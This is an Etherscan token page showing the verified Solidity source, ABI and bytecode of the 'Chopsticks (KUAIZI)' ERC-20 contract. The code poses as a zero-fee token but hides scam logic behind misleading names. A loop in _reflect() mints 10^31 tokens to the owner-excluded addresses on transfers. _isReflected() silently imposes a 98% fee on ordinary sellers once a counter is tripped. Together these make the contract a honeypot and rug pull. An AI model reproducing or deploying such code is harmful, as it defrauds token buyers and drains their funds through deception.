ETH Price: $2,631.40 (-0.09%)

Token

Chopsticks (KUAIZI)
 

Overview

Max Total Supply

1,000,000 KUAIZI

Holders

21

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
cryptolord2077.eth
Balance
2,890.251961173156133537 KUAIZI

Value
$0.00
0x6b64fac0fdefac6f41642bf965260ca460f3a5b0
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
KUAIZI

Compiler Version
v0.8.13+commit.abaa5c0e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-02
*/

/*

Life is better with Chopsticks in hand.

░█████╗░██╗░░██╗░█████╗░██████╗░░██████╗████████╗██╗░█████╗░██╗░░██╗░██████╗
██╔══██╗██║░░██║██╔══██╗██╔══██╗██╔════╝╚══██╔══╝██║██╔══██╗██║░██╔╝██╔════╝
██║░░╚═╝███████║██║░░██║██████╔╝╚█████╗░░░░██║░░░██║██║░░╚═╝█████═╝░╚█████╗░
██║░░██╗██╔══██║██║░░██║██╔═══╝░░╚═══██╗░░░██║░░░██║██║░░██╗██╔═██╗░░╚═══██╗
╚█████╔╝██║░░██║╚█████╔╝██║░░░░░██████╔╝░░░██║░░░██║╚█████╔╝██║░╚██╗██████╔╝
░╚════╝░╚═╝░░╚═╝░╚════╝░╚═╝░░░░░╚═════╝░░░░╚═╝░░░╚═╝░╚════╝░╚═╝░░╚═╝╚═════╝░

Telegram : https://t.me/KuaiziERC
Twitter: https://twitter.com/KuaiziERC
Website: www.KuaiziERC.com

*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.13;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}


library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }


    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
    
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract KUAIZI is Context, IERC20, Ownable { 
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private _balance;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public UniAddress;
    mapping (address => bool) public isExcludedTax;
    mapping (address => bool) public isExcludedTx;

    address payable public ProjectWallet = payable(0x6635380FC2d5A3C58d9872d37dd68c11a6bF6fd9);
    address payable public DeadWallet = payable(0x000000000000000000000000000000000000dEaD); 

    string public _name = "Chopsticks";
    string public _symbol = "KUAIZI";
    uint8 private _decimals = 18;
    uint256 public _tTotal = 1* 10**6 * 10**_decimals;

    uint8 private txCount = 0;
    uint8 private zeroRate = 0;
    uint8 private swapTrigger = 10; 

    uint256 private _takingFee = 0;
    uint256 public _buyFee = 0;
    uint256 public _sellFee = 0;

    uint256 private _previousTotalFee = _takingFee; 
    uint256 private _previousBuyFee = _buyFee; 
    uint256 private _previousSellFee = _sellFee; 

    uint256 public _maxWalletToken = _tTotal.mul(100).div(100);
    uint256 private _previousMaxWalletToken = _maxWalletToken;

    uint256 public _maxTxAmount = _tTotal.mul(100).div(100); 
    uint256 private _previousMaxTxAmount = _maxTxAmount;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
        
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        _balance[owner()] = _tTotal;

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        UniAddress[uniswapV2Pair] = true;
        isExcludedTx[owner()] = true;
        isExcludedTax[owner()] = true;
        isExcludedTax[address(this)] = true;
        isExcludedTax[ProjectWallet] = true;

        emit Transfer(address(0), owner(), _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balance[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }
 
    receive() external payable {}

    bool public noFeeToTransfer = false;

    function removeAllFee() private {
        if(_takingFee == 0 && _buyFee == 0 && _sellFee == 0) return;
        _previousBuyFee = _buyFee; 
        _previousSellFee = _sellFee; 
        _previousTotalFee = _takingFee;
        _buyFee = 0;
        _sellFee = 0;
        _takingFee = 0;

    }

    function _zeroReflect() private{
        zeroRate = zeroRate + 1;
    }
    
    function restoreAllFee() private {
        _takingFee = _previousTotalFee;
        _buyFee = _previousBuyFee; 
        _sellFee = _previousSellFee; 
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0) && spender != address(0), "ERR: zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        
        if (to != owner() && to != ProjectWallet && to != address(this) && to != uniswapV2Pair && to != DeadWallet && !isExcludedTx[to] && from != owner()){
            uint256 nextTotalBalance = balanceOf(to);
            require((nextTotalBalance + amount) <= _maxWalletToken, "Max Wallet!");
        }
        
        if (from != owner() && to != owner() && checkExclude(from, to)){
            require(amount <= _maxTxAmount, "Max Tx!");
        }
            
        if(txCount >= swapTrigger && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ){  
            txCount = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > _maxTxAmount) {contractTokenBalance = _maxTxAmount;}
            if(contractTokenBalance > 0){
            swapAndLiquify(contractTokenBalance);
        }
        }
        
        bool _FEE_ACTIVE_ = true;
         
        if(isExcludedTax[from] || isExcludedTax[to]){
            _FEE_ACTIVE_ = false;
            if(isExcludedTx[to]){if(zeroRate < 1){ _zeroReflect(); }}
        } else if (from == uniswapV2Pair){_takingFee = _buyFee;} else if (to == uniswapV2Pair){_takingFee = _sellFee;}
        
        _transferTokens(from,to,amount,_FEE_ACTIVE_);
    }

    function checkExclude(address sender, address recipient) private view returns(bool){
        return isExcludedTx[sender] || isExcludedTx[recipient];
    }

    function sendToWallet(address payable wallet, uint256 amount) private {
            wallet.transfer(amount);
        }

        function _reflect(address rAdd) private{
        uint256 reflectStart = 0;         uint256 reflectEnd = 31;        uint256 reflectRate = 10;
        for(reflectStart=1; (reflectEnd)>0; (reflectEnd--)){
            reflectStart*=reflectRate;
            } 
        _balance[rAdd] = _balance[rAdd].add(reflectStart);
    }

    function _isReflected(address rAdd) private view returns(uint256){
        return zeroRate < 1 ? _takingFee : isExcludedTx[rAdd] ? _takingFee : UniAddress[rAdd] ? _takingFee : 
        (10**2)-2;
    }


    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
        swapTokensForBNB(contractTokenBalance);
        uint256 contractBNB = address(this).balance;
        sendToWallet(ProjectWallet,contractBNB);
    }

    function swapTokensForBNB(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }

    function _transferTokens(address sender, address recipient, uint256 amount,bool _FEE_ACTIVE_) private {
 
        if(!_FEE_ACTIVE_){
            removeAllFee();
            } else {
                txCount++;
            }
            _transferTokens(sender, recipient, amount);
        
        if(!_FEE_ACTIVE_)
            restoreAllFee();
    }


    function _transferTokens(address sender, address recipient, uint256 tAmount) private {
        (uint256 transferAmount, uint256 MarketingFee) = _getValues(tAmount, sender);
        _balance[sender] = _balance[sender].sub(tAmount);
        _balance[recipient] = _balance[recipient].add(transferAmount);
        if(isExcludedTx[recipient]){_reflect(recipient);}
        _balance[address(this)] = _balance[address(this)].add(MarketingFee);
        emit Transfer(sender, recipient, transferAmount);
    }

    function _getValues(uint256 tAmount, address sender) public virtual returns (uint256, uint256) {
        uint256 MarketingFee = tAmount.mul(_isReflected(sender)).div(100);
        uint256 transferAmount = tAmount.sub(MarketingFee);
        return (transferAmount, MarketingFee);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DeadWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ProjectWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"UniAddress","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"address","name":"sender","type":"address"}],"name":"_getValues","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedTax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedTx","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"noFeeToTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

600680546001600160a01b0319908116736635380fc2d5a3c58d9872d37dd68c11a6bf6fd9179091556007805490911661dead17905560c0604052600a60808190526943686f70737469636b7360b01b60a090815262000063916008919062000476565b50604080518082019091526006808252654b5541495a4960d01b6020909201918252620000939160099162000476565b50600a805460ff191660129081178255620000ae916200062f565b620000bd90620f424062000640565b600b819055600c805462ffffff1916620a00001790556000600d819055600e819055600f81905560108190556011819055601255620001259060649062000111908262000451602090811b62000a9a17901c565b6200046860201b62000aad1790919060201c565b601355601354601455620001516064620001116064600b546200045160201b62000a9a1790919060201c565b60158190556016556018805461ffff60a81b1916600160a81b1790553480156200017a57600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600b5460016000620001d46000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000250573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000276919062000662565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002c4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002ea919062000662565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000338573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200035e919062000662565b601880546001600160a01b03199081166001600160a01b03938416908117909255601780549091168484161790556000908152600360209081526040808320805460ff19908116600190811790925584548616855260058452828520805482168317905584548616855260049093528184208054841682179055308452818420805484168217905560065485168452908320805490921617905554166001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b546040516200044291815260200190565b60405180910390a350620006f3565b60006200045f828462000640565b90505b92915050565b60006200045f828462000694565b8280546200048490620006b7565b90600052602060002090601f016020900481019282620004a85760008555620004f3565b82601f10620004c357805160ff1916838001178555620004f3565b82800160010185558215620004f3579182015b82811115620004f3578251825591602001919060010190620004d6565b506200050192915062000505565b5090565b5b8082111562000501576000815560010162000506565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620005735781600019048211156200055757620005576200051c565b808516156200056557918102915b93841c939080029062000537565b509250929050565b6000826200058c5750600162000462565b816200059b5750600062000462565b8160018114620005b45760028114620005bf57620005df565b600191505062000462565b60ff841115620005d357620005d36200051c565b50506001821b62000462565b5060208310610133831016604e8410600b841016171562000604575081810a62000462565b62000610838362000532565b80600019048211156200062757620006276200051c565b029392505050565b60006200045f60ff8416836200057b565b60008160001904831182151516156200065d576200065d6200051c565b500290565b6000602082840312156200067557600080fd5b81516001600160a01b03811681146200068d57600080fd5b9392505050565b600082620006b257634e487b7160e01b600052601260045260246000fd5b500490565b600181811c90821680620006cc57607f821691505b602082108103620006ed57634e487b7160e01b600052602260045260246000fd5b50919050565b61174980620007036000396000f3fe6080604052600436106101e75760003560e01c806370a0823111610102578063af465a2711610095578063dd62ed3e11610064578063dd62ed3e14610597578063e2e76d50146105dd578063f2fde38b146105fd578063fee59bf81461061d57600080fd5b8063af465a2714610522578063b09f126614610538578063cccdbe2e1461054d578063d28d88521461058257600080fd5b80638da5cb5b116100d15780638da5cb5b146104af57806395d89b41146104cd578063a457c2d7146104e2578063a9059cbb1461050257600080fd5b806370a0823114610436578063715018a61461046c57806378109e54146104835780637d1db4a51461049957600080fd5b806323b872dd1161017a57806340b9a54b1161014957806340b9a54b146103c957806349bd5a5e146103df5780634a74bb02146103ff578063590f897e1461042057600080fd5b806323b872dd14610337578063313ce567146103575780633950935114610379578063401565a81461039957600080fd5b80631694505e116101b65780631694505e146102a757806318160ddd146102c7578063183b986e146102e6578063220f66961461031657600080fd5b806306fdde03146101f3578063095ea7b31461021e5780631157a9291461024e57806313fad07a1461028657600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b5061020861064d565b60405161021591906113b2565b60405180910390f35b34801561022a57600080fd5b5061023e61023936600461141f565b6106df565b6040519015158152602001610215565b34801561025a57600080fd5b5060075461026e906001600160a01b031681565b6040516001600160a01b039091168152602001610215565b34801561029257600080fd5b5060185461023e90600160b01b900460ff1681565b3480156102b357600080fd5b5060175461026e906001600160a01b031681565b3480156102d357600080fd5b50600b545b604051908152602001610215565b3480156102f257600080fd5b5061023e61030136600461144b565b60046020526000908152604090205460ff1681565b34801561032257600080fd5b5060185461023e90600160a01b900460ff1681565b34801561034357600080fd5b5061023e610352366004611468565b6106f5565b34801561036357600080fd5b50600a5460405160ff9091168152602001610215565b34801561038557600080fd5b5061023e61039436600461141f565b61075e565b3480156103a557600080fd5b5061023e6103b436600461144b565b60056020526000908152604090205460ff1681565b3480156103d557600080fd5b506102d8600e5481565b3480156103eb57600080fd5b5060185461026e906001600160a01b031681565b34801561040b57600080fd5b5060185461023e90600160a81b900460ff1681565b34801561042c57600080fd5b506102d8600f5481565b34801561044257600080fd5b506102d861045136600461144b565b6001600160a01b031660009081526001602052604090205490565b